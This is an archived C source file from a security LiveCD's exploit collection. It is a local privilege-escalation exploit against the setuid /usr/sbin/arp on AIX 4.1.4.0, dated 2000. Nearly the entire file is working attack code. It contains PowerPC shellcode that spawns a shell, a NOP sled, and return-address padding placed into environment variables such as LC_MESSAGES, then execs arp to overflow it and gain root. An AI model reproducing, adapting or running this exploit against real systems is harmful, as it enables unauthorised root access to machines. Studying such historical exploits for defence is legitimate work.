home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / aix / local / SSG-arp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  145 lines

  1. /*
  2.  * AIX 4.1.4.0 local root /usr/sbin/arp exploit - SSG-arp.c - 06/06/2000
  3.  *
  4.  * This code is largely from an old AIX mount exploit by Georgi Guninski.
  5.  * Tested on a blazing 33Mhz RS/6000 IBM POWERserver 340!
  6.  *
  7.  * Shouts to bind, xdr, obecian, qwer7y, interrupt, linda, and ur mom.
  8.  *
  9.  * -cripto <cripto@subterrain.net>      .o0->  SSG ROX 2000 !@#$$#@!  <-0o.
  10.  */
  11.  
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <string.h>
  15.  
  16. #define OFFSET 3580
  17.  
  18. char prog[100]="/usr/sbin/arp";
  19. char prog2[30]="arp";
  20. extern int execv();
  21.  
  22. char *createvar(char *name,char *value)
  23. {
  24.   char *retval;
  25.   int l;
  26.   l = strlen(name) + strlen(value) + 4;
  27.   if (! (retval = malloc(l)))
  28.     {
  29.       perror("malloc");
  30.       exit(2);
  31.     };
  32.  
  33.   strcpy(retval,name);
  34.   strcat(retval,"=");
  35.   strcat(retval,value);
  36.   putenv(retval);
  37.   return retval;
  38. }
  39.  
  40. main(int argc,char **argv,char **env)
  41. {
  42.   unsigned int code[]={
  43.     0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  44.     0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  45.     0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  46.     0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  47.     0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  48.     0x7c0903a6 , 0x4e800420, 0x0
  49.   };
  50.  
  51. #define MAXBUF 600
  52.   unsigned int buf[MAXBUF];
  53.   unsigned int frame[MAXBUF];
  54.   unsigned int i,nop,mn;
  55.   int max;
  56.   int QUIET = 0;
  57.   int dobuf = 0;
  58.   char VAR[30] = "LC_MESSAGES";
  59.   unsigned int toc;
  60.   unsigned int eco;
  61.   unsigned int *pt;
  62.   char *t;
  63.   int egg = 1;
  64.   int ch;
  65.   unsigned int reta;
  66.   int corr = 4604;
  67.   char *args[4];
  68.   char *newenv[8];
  69.   int justframes = 1;
  70.   int startwith = 0;
  71.  
  72.   mn = 78;
  73.   max = 100;
  74.  
  75.   if (argc > 1)
  76.     {
  77.       corr = atoi(argv[1]);
  78.     }
  79.   else
  80.     {
  81.       corr = OFFSET;
  82.     }
  83.  
  84.   pt = (unsigned *) &execv;
  85.   toc = *(pt+1);
  86.   eco = *pt;
  87.  
  88.   if (((mn + strlen((char*)&code) / 4) > max) || (max > MAXBUF))
  89.     {
  90.       perror("invalid input");
  91.       exit(1);
  92.     }
  93.  
  94. #define OO 7
  95.   *((unsigned short *)code + OO + 2) = (unsigned short) (toc & 0x0000ffff);
  96.   *((unsigned short *)code + OO) = (unsigned short) ((toc >> 16) &
  97.                                    0x0000ffff);
  98.   *((unsigned short *)code + OO + 8 ) = (unsigned short) (eco & 0x0000ffff);
  99.   *((unsigned short *)code + OO + 6 ) = (unsigned short) ((eco >> 16) &
  100.                                         0x0000ffff);
  101.  
  102.   reta = startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0] + corr;
  103.  
  104.   for(nop = 0;nop < mn;nop++)
  105.     buf[nop] = startwith ? reta : 0x4ffffb82;
  106.  
  107.   strcpy((char*)&buf[nop], (char*)&code);
  108.   i = nop + strlen( (char*) &code)/4-1;
  109.  
  110.   if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
  111.       || !(reta && 0xff000000))
  112.     {
  113.       perror("Return address has zero");
  114.       exit(5);
  115.     }
  116.  
  117.   while(i++ < max)
  118.     buf[i] = reta;
  119.   buf[i] = 0;
  120.  
  121.   for(i = 0;i < max-1;i++)
  122.     frame[i] = reta;
  123.   frame[i] = 0;
  124.  
  125.   if(QUIET)
  126.     {
  127.       puts((char*)&buf);
  128.       fflush(stdout);
  129.       exit(0);
  130.     };
  131.  
  132.   newenv[0] = createvar("EGGSHEL", (char*)&buf[0]);
  133.   newenv[1] = createvar("EGGSHE2", (char*)&buf[0]);
  134.   newenv[2] = createvar("EGGSHE3", (char*)&buf[0]);
  135.   newenv[3] = createvar("EGGSHE4", (char*)&buf[0]);
  136.   newenv[4] = createvar("DISPLAY", getenv("DISPLAY"));
  137.   newenv[5] = VAR[0] ? createvar(VAR,justframes ? (char*)&frame :
  138.                                  (char*)&buf):NULL;
  139.   newenv[6] = NULL;
  140.  
  141.   args[0] = prog2;
  142.   execve(prog,args,newenv);
  143.   perror("execve\n");
  144. }
  145. /*                    www.hack.co.za           [10 May 2000]*/